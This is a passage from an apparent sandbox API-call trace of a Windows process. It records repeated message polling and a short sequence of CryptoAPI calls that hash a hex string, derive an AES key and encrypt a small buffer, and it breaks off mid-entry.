PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.295] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.295] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfe790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe790) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.296] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.296] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.296] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.296] CryptCreateHash (in: hProv=0xe8f4067bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfe8a0 | out: phHash=0xe8f3dfe8a0) returned 1 [0030.296] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.297] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.297] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.297] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0030.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f4189f50, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0030.297] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.297] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0030.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418a370, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0030.298] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.298] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.298] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0030.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f4179720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0030.299] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0030.299] CryptHashData (hHash=0xe8f40622c0, pbData=0xe8f41898c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.300] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.300] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.300] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.300] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.300] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.300] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.300] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.301] CryptDeriveKey (in: hProv=0xe8f4067bb0, Algid=0x660e, hBaseData=0xe8f40622c0, dwFlags=0x1, phKey=0xe8f3dfe8a0 | out: phKey=0xe8f3dfe8a0*=0xe8f4061df0) returned 1 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dfe900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe900) returned 0 [0030.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.301] CryptDestroyHash (hHash=0xe8f40622c0) returned 1 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.301] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.302] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9f0) returned 0 [0030.302] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9f0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9f0) returned 0 [0030.302] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe150) returned 0 [0030.302] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.302] CryptGetKeyParam (in: hKey=0xe8f4061df0, dwParam=0x7, pbData=0xe8f4064960, pdwDataLen=0xe8f3dfe1b8, dwFlags=0x0 | out: pbData=0xe8f4064960*=0x660e, pdwDataLen=0xe8f3dfe1b8*=0x4) returned 1 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9f0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfe9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe9f0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.302] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.302] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.303] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfe790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe790) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.303] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.303] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.303] CryptEncrypt (in: hKey=0xe8f4061df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfe8c8*=0x0, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfe8c8*=0x10) returned 1 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] CharLowerBuffW (in: lpsz="byte[17]", cchLength=0x8 | out: lpsz="byte[17]") returned 0x8 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.303] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.303] PeekMessageW (in: lpMsg=0xe8f3dfe810, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe810) returned 0 [0030.303] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.303] CryptEncrypt (in: hKey=0xe8f4061df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41793e0, pdwDataLen=0xe8f3dfe8c8*=0x0, dwBufLen=0x10 | out: pbData=0xe8f41793e0*, pdwDataLen=0xe8f3dfe8c8*=0x10) returned 1 [0030.304] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.304] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.358] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.358] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfe790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe790) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.358] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.359] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 